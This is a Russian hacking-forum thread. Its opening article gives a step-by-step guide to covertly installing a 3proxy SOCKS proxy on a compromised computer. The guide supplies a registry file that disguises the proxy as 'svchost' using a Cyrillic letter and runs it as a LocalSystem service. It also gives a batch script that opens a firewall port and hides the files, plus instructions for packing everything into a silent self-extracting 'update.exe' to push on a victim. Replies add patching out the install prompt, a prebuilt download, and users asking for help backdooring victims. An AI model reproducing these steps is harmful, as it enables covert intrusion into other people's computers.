Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Автозагрузка 3proxy и др. через службы (https://forum.antichat.xyz/showthread.php?t=77503)

.dimoN. 17.07.2008 20:46

Автозагрузка 3proxy и др. через службы
 
Вобщем это моя первая статья и т.к. сам я новичок, то ничего особенного тут не будет.
Получив доступ к одному компу чайника в локалке мне захотелось поставить на нем прокси. Но как это сделать незаметно? Вот об этом я и расскажу. В сети полно различных прокси серверов, но мне был необходим максимально незаметный. Мой выбор остановился на 3proxy, т.к. все его настройки хранятся в отдельном файле, нет никаких значков в трее, возможность работы как служба. 3proxy поддерживает HTTP, SOCKSv4/SOCKSv4.5/SOCKSv5, FTP proxy и многое другое. Обо всех возможностях можете прочитать на 3proxy.ru

Сейчас большинство пользователей знают что многие программы прописывают себя в реестр для автозагрузки и периодически проверяют это с помощью msconfig или других программ, но на службы обращают внимание очень редко. Некоторые даже о них ничего не слышали… Немного о службах http://ru.wikipedia.org/wiki/Службы_Windows

Теперь качаем 3proxy тут. Наш прокси в папке bin.
Установить как службу можно так
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg
Но при этом выскакивает запрос с подтверждением
http://i073.radikal.ru/0807/e5/3993127a18ef.png
Поэтому такой вариант нам совсем не подходит и мы будем создавать службу вручную.
Все настройки служб хранятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es.

Параметры, которые необходимы для работы службы:
Description - описание службы
DisplayName - имя службы, отбражаемое в списке всех служб
ErrorControl - критичность ошибок службы для работы системы. Обычно устанавливают 0
ImagePath - путь к исполняемому файлу
ObjectName - имя пользователя, от которого будет запущена служба. Ставим LocalSystem чтоб запускать с правами system
Start - тип запуска. Для запуска при старте системы ставим 2.
Type - тип службы. Этот параметр отличает службы от драйверов. Здесь надо поставить значение 16 (десятичная)

Маскировка.
Переименовываем 3proxy.exe в svсhost.exe, НО букву с пишем русскую для того чтобы закинуть в system32. Файл конфигурации назовем например comand.drv Кстати о файле конфигурации, моей целью было поднять socks, поэтому пишем в нем следующее:
Код:

auth none
socks -p2323

Это значит что наш сокс не требует авторизации и будет работать на 2323 порту.
Составим reg-файл, записав туда все настройки нашей службы, причем нужно придумать параметры Description и DisplayName, а также название службы, которые не будут вызывать подозрений. У меня она будет называться Net client
Код:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Net client]
"Description"="Обеспечивает компьютеру доступ к сети TCP/IP"
"DisplayName"="Доступ к сети TCP/IP"
"ErrorControl"=dword:00000000
"ImagePath"="C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service"
"ObjectName"="LocalSystem"
"Start"=dword:00000002
"Type"=dword:00000010

"ImagePath"="C:\\WINDOWS\\system32\\svсhost.e xe C:\\WINDOWS\\system32\\comand.drv --service" В svchost буква с русская. Как видим тут указывается не только где расположен наш исполняемый файл, но и файл конфигурации и опция --service. Для каждой программы могут быть индивидуальные настройки, узнать можно либо из справки, либо установить себе и посмотреть ;)

Теперь напишем bat файл для невидимой установки нашей службы.
Код:

chcp 1251
netsh firewall add portopening TCP 2323 system
attrib +r +h +s C:\Windows\system32\svсhost.exe
attrib +r +h +s C:\Windows\system32\comand.drv
reg import st.reg
regedit /s st.reg
del "%userprofile%\Рабочий стол\update.exe" /f
del "%userprofile%\Мои документы\update.exe" /f
del "%userprofile%\Application Data\Microsoft\Internet Explorer\Quick Launch\update.exe" /f
del "%userprofile%\Главное меню\Программы\Автозагрузка\update.exe" /f
del C:\update.exe /f
del D:\update.exe /f
del E:\update.exe /f
del %SystemRoot%\system32\st.reg /f
del %SystemRoot%\system32\st.exe /f

//не забываем про svchost, буква с русская
Этот батник добавляет правило в фаерволл windows и разрешает соединение для порта 2323, устанавливает на файл svchost и comand.drv атрибуты скрытый, системный и только для чтения, импортирует настройки нашей службы. Остальные команды для удаления нашего будущего sfx архива, просто добавил под разлчные случаи. Если вы внимательно посмотрели на батник, то заметили что в последней команде есть файл st.exe, о котором я ничего не писал. Это и есть наш батник =] Все знают что когда батник срабатывает, то видно черное окно командной строки, которое вызывает много подозрений. Есть способ его спрятать. Для этого нам понадобится программа Quick Batch File Compiler (можете скачать тут ) Эта программа предназначена для преобразования bat в exe, а также есть офигенная функция – скрывать этот долбанный квадрат Малевича. Жмем option и выбираем Ghost application, затем заносим содержимое батника в прогу, жмем Build и сохраняем под именем st.exe
Все практически готово, осталось только собрать это в одну кучу. Берем наш svchost.exe, command.drv, st.reg, st.exe и все остальные файлы из папки bin, жмем добавить в архив, выбираем бес сжатия (для того чтоб быстрее сработал, хотя кому как нравится), отмечаем sfx архив, имя архива update.exe, затем переходим во вкладку дополнительно/параметры sfx. На вкладке Общие указываем путь для распаковки C:\WINDOWS\system32, в поле “Выполнить после распаковки” пишем C:\WINDOWS\system32\st.exe Теперь переходим в вкладку Режимы и отмечаем “Скрывать все” и “Пропускать существующие файлы”, жмем ок. Осталось только впарить наш файл жертве или если есть доступ к диску С закинуть в папку автозагрузка (в этом случае прокси заработает через две перезагрузки, автоматически удалив update.exe из папки автозагрузка).
Этот способ можно использовать для любой программы, которая умеет работать как служба (например радмин - https://forum.antichat.ru/thread13658.html и Telnet - https://forum.antichat.ru/thread68300.html )

Я решил проверить, что будет если подсунуть в качестве службы обычную прогу, например калькулятор :) При загрузке он запускается, но его не видно на экране. Затем винда через секнд 10-15 его отключает. Этого времени достаточно чтобы запустить например трой, но работает калькулятор или нет я так и не понял. Может он просто завис… Я снова открыл Quick Batch File Compiler и написал такой батник
Код:

echo Segodnya %date%:%time%>>c:\otchet.txt
При каждом запуске в файл будет дописываться строка с датой и временем. Подсунув такую прогу в качестве службы все сработало нормально, при каждой перезагрузке в файл добавлялась новая строка, значит службы можно использовать и для запуска троянов.
===================================
UPD: исправил кавычки, добавил видео. Скачать можно тут или тут
pass: antichat.ru

vvs777 27.07.2008 14:08

Хороший ликбез по установке служб...
+2
Я тож такой фигней одно время в локале страдал. Только другой сокс навешивал. И джоинить приходилось. правда над фаером не стебался =)

brain-m 03.09.2008 16:27

В 3proxy-0.6-devel и 3proxy-0.5.3k отсутствует аргумент "--service". Справка выдаёт:
C:\3proxy --service
Usage: 3proxy [conffile]

3proxy --install [conffile]
to install as service

3proxy --remove
to remove service

3proxy tiny proxy server 3proxy-0.6b-devel (080826163128)
(c)2000-2007 3APA3A, Vladimir Dubrovin & 3proxy.ru
Documentation and sources: http://3proxy.ru/
Please read license agreement in 'copying' file.
You may not use this program without accepting license agreement

В чём может быть проблема?

.dimoN. 04.09.2008 20:51

Читай внимательней
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg

brain-m 06.09.2008 12:34

Да, но в реестр в службы пишется: "ImagePath"=”C:\\WINDOWS\\system32\\svсhost .exe C:\\WINDOWS\\system32\\comand.drv --service

Вот ещё такой вопрос: Ведь если у нас сам сервер ложится в каталог system32, то можно записать в реестр не абсолютный путь, а локальный. т.е. не "C:\\WINDOWS\\system32\\svсhost.exe" а просто "svсhost.exe" или нельзя? и соответственно можно ли писать не "C:\\WINDOWS\\system32\\comand.drv", а "comand.drv"??

n0153r 06.09.2008 12:56

=) Хорошый мануал по 3прокси. почерпнул для себя немного.
По работе с лужбами интересненько.

FrMn 06.09.2008 13:25

не у всех винда на c:, не у всех в папке windows.

brain-m 07.09.2008 12:54

вот, а алгоритм и последовательность поиска требуемых файлов один:
1. Текущий каталог
2. Папка system32
3. Папка windows
если мне не изменят память. Так что всё должно работать и с относительными путями.

Кто-нибудь напишет результат выполнения у себя ”C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service” или эквивалентов в вашем случае. У меня 3proxy идёт в отказ и говорит, что не понимает о чём я: о каком "--service"?

m-Xacker 08.09.2008 22:59

Цитата:

Сообщение от .dimoN.
Читай внимательней
C:\Program Files\3proxy\3proxy.exe --install C:\Program Files\3proxy\3proxy.cfg

Спасибо за прокси но её нужно дорабатывать, потому что в реестр нужно добавлять путь кодировке

"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,57,00,4 9,00,4e,00,44,00,4f,00,57,00,\
53,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33 ,00,32,00,5c,00,73,00,79,\
00,73,00,74,00,65,00,6d,00,33,00,32,00,2e,00,65,00 ,78,00,65,00,22,00,20,00,\
22,00,43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f ,00,57,00,53,00,5c,00,73,\
00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00 ,63,00,6f,00,6d,00,61,00,\
6e,00,64,00,2e,00,64,00,72,00,76,00,22,00,20,00,2d ,00,2d,00,73,00,65,00,72,\
00,76,00,69,00,63,00,65,00,00,00

а так просто он не добавляеться C:\\WINDOWS\\system32\\svсhost.exe C:\\WINDOWS\\system32\\comand.drv --service”

Ps почти у все стоит виндовс на диске С))

t4Nk 09.09.2008 01:54

а я исправлял исходники, чтоб не выводило запрос на установку :d
зы
C:\\windows можно заменить на %windir% чтоб универсальнее было ;)

schwarze 08.12.2008 19:51

Молодец что исправил, может поделишься?

zeonx 15.12.2008 01:08

Пробовал делать все как сказано в статье ничего не работает, может кто подскажет, как надо делать, в Imagepath= кавычки нужны к путям?(или это неважно?), вообще как запустить на своем компе? что в статье неправильно? скажите люди добрые за репу..

satana8920 15.12.2008 02:27

ненаю статья не понравилась потому что ну чем она от мана отличаться на офф сайте тем что ты перевел на руский?

t4Nk 29.12.2008 20:37

чтобы при установке как службы не выводило окошко с запросом - комментируем в файле 3proxy.c
1791 строку для 3proxy 0.6-dev
Код:

//if(MessageBox(NULL, (char *)tmpbuf, stringtable[2], MB_YESNO|MB_ICONASTERISK) != IDYES) return 1;
или 1555 для 3proxy-0.5.3k
Код:

//if(MessageBox(NULL, (char *)tmpbuf, conf.stringtable[2], MB_YESNO|MB_ICONASTERISK) != IDYES) return 1;
потом собираем и устанавливаем ;)

WALKMAN 05.01.2009 22:25

Цитата:

Сообщение от t4Nk
потом собираем и устанавливаем ;)

Вот собственно тут я и застрял, скачал исходники 3proxy-0.6-deve, нашел 3proxy.c , нашел строку, закоментировал ее, при компиляции 3proxy.с получил множественные ошибки.
Собственно как всю ету програмулину собрать до кучи? Как откомпилировать? :confused:

$ereg@ 06.01.2009 20:43

выложите ктонить эту вещь в собранном виде пж :)

$ereg@ 07.01.2009 12:51

"ImagePath"=”C:\\WINDOWS\\system32\\svсhost .exe C:\\WINDOWS\\system32\\comand.drv --service”
помоему ковычки не правильные, так путь до файла не пропишеться ...

.dimoN. 08.01.2009 01:13

Цитата:

Сообщение от $ereg@
"ImagePath"=”C:\\WINDOWS\\system32\\svсhost .exe C:\\WINDOWS\\system32\\comand.drv --service”
помоему ковычки не правильные, так путь до файла не пропишеться ...

да, тут должны быть обычные кавычки. завтра добавлю видео

$ereg@ 08.01.2009 21:52

а у меня из-за этих ковычек не получалось всё вместе собрать. всё прально делал, потом редактор реестра открываю, а там пути к серверу нет... ну а потом эти ковычки заметил) вопщем у меня всётаки получилос собрать эту вещь :D

.dimoN. 08.01.2009 22:22

видео в 1 посте

zeonx 09.01.2009 23:22

http://depositfiles.com/files/hz7iiyfze вот если кому нужен готовый прокси настроенный, закинул запустил и наслаждайся, тока прокси без пароля

ZeLiK 10.01.2009 22:27

Ещё один вариант - Myproxy
 
Тоже интересовался данной тематикой, при этом был доступ через РАдмин.
Среди софта нашёл MyProxy
При установке поумолчанию помещается в автозапуск. Но мы же внедряем, а не инсталим ))
Можно запустить с параметрами, при этом не будет ни значка, ни интерфейса (диалоговых окон и т.д.).
Новые версии полны опциями, для меня же был интересен только выход в инет через этот прокси.
Далее пытался реализовать внедрение в виндусный (xp) фаервол строки, разрешающей нашу проксю.
Почти получилось, но у автора статьи явно лучше вариант. Жаль не видел статью раньше :)
Респект ;)
Так же хочу добавить об относительных путях, которые можно использовать очень даже хорошо "%SystemRoot%system32" и т.д.
На крайняк проверку сделать на региональную принадлежность, т.е. русская винда иль английская иль ещё какая...
По поводу помещения в автозагрузку, мб я чёт не допонял:
Цитата:

если есть доступ к диску С закинуть в папку автозагрузка (в этом случае прокси заработает через две перезагрузки, автоматически удалив update.exe из папки автозагрузка).
Почему на стадии распаковки/запуска exe нельзя запустить код на добавление в автозагрузку?
Вобщем предложений сказано много, умолкаю ;)
Если OffTop, прошу извинить ;)

shadextx 28.01.2009 11:02

Статья отличная, всё чётко и понятно, автору респект.
Вот тока у меня служба не хочет запускаться, пишет "Ошибка 1053: Служба не ответила на запрос своевременно"
Подскажите в чём может быть проблема.

andre344 03.02.2009 16:19

а если бы в архивчек еще добавить прогу которая бы соомбщала бы о семени ипа на зараженной тачке ваще было бы супер:) никто не знает как это сделать?:)

andre344 03.02.2009 18:14

Цитата:

Сообщение от andre344
а если бы в архивчек еще добавить прогу которая бы соомбщала бы о семени ипа на зараженной тачке ваще было бы супер:) никто не знает как это сделать?:)

ну ктонибудь подскажите плз:)

ira 27.02.2009 00:41

Пожалуйста перезалейте видео, не работают ссылки

.dimoN. 27.02.2009 01:51

Цитата:

Сообщение от ira
Пожалуйста перезалейте видео, не работают ссылки

http://webfile.ru/2985889

_MaxON_ 29.04.2009 18:03

Помогите!!! Мне нужно установить этот прокси на компьютере жертвы, чтоб через него можна было заходить в интернет. Я все сделал как в видео, но при попытке подключиться к интернету, браузер грузит какой-то файл default и больше ничего не происходит :(. Подскажите пожалуйста что нужно исправить.

.dimoN. 29.04.2009 20:19

Цитата:

Сообщение от _MaxON_
Помогите!!! Мне нужно установить этот прокси на компьютере жертвы, чтоб через него можна было заходить в интернет. Я все сделал как в видео, но при попытке подключиться к интернету, браузер грузит какой-то файл default и больше ничего не происходит :(. Подскажите пожалуйста что нужно исправить.

ставь firefox и дополнение к нему foxyproxy. opera не умеет работать с socks

_MaxON_ 29.04.2009 23:06

Цитата:

Сообщение от .dimoN.
ставь firefox и дополнение к нему foxyproxy. opera не умеет работать с socks

Установил foxyproxy, в настройках поставил адрес жертвы, порт 2323, включил socks proxy, но ничего не работает. Что не так, обьясните??

.dimoN. 29.04.2009 23:34

Цитата:

Сообщение от _MaxON_
Установил foxyproxy, в настройках поставил адрес жертвы, порт 2323, включил socks proxy, но ничего не работает. Что не так, обьясните??

сложно сказать. напиши подробнее, пингуется ли комп, работает ли foxyproxy с другим соксом, может у тебя фаер блокирует соединеие, что это вообще за комп на который ты прокси повесил и может у него нет выхода в интернет... вообще много причин может быть

_MaxON_ 30.04.2009 11:31

Цитата:

Сообщение от .dimoN.
сложно сказать. напиши подробнее, пингуется ли комп, работает ли foxyproxy с другим соксом, может у тебя фаер блокирует соединеие, что это вообще за комп на который ты прокси повесил и может у него нет выхода в интернет... вообще много причин может быть

Это комп в локальной сети, у которого есть выход в интернет. На нем установлен User Gate и если настроить мой комп на работу через порт 8080 без socks тогда у меня все работает. Но когда в firefox ставлю порт 2323 и socks то подключение не происходит. Но если снять галочку socks то загружаеться файл. Если б что-то было не так, он бы тоже грузился бы??

delasoul 19.07.2009 07:48

dimoN.
statja ochen ponrawilsa respekt! i plus ot menja swejis somnoj delische jest;) u tebja w PS smotri kak somnoj swizatca

gaiverq3 03.08.2009 08:07

вопрос по настройки 3proxy
у меня есть внутреений прокси сервер (3proxy) и есть платный прокси сервер в инете, как мне настроить внутренний что бы весь трафик локалки пускался через платный прокси сервер в инете.

xa-xa89 03.08.2009 18:46

каскадной подключение.копай в эту стороную

-=ReD_DeviL=- 15.10.2009 18:14

статья кул как раз для хакеров таких как я нубов)))

buxar 28.11.2009 05:31

на линукс сервер никто не подскажет как автозапуск 3proxy сделать?

InFlame 17.12.2009 20:50

Обычные программы типа Netcat, как я понял, не получится добавить к службам? При запуске пишет "Служба не ответила на запрос своевременно".

aleexey 13.01.2010 22:00

Цитата:

Сообщение от ZeLiK
код на добавление в автозагрузку

ктонить скажите пож как его написать?

Platon 01.04.2010 20:07

t4Nk - поделись пожалуйста собранным exe файлом для WinXP - без запроса на установку! Спасибо!


Время: 07:42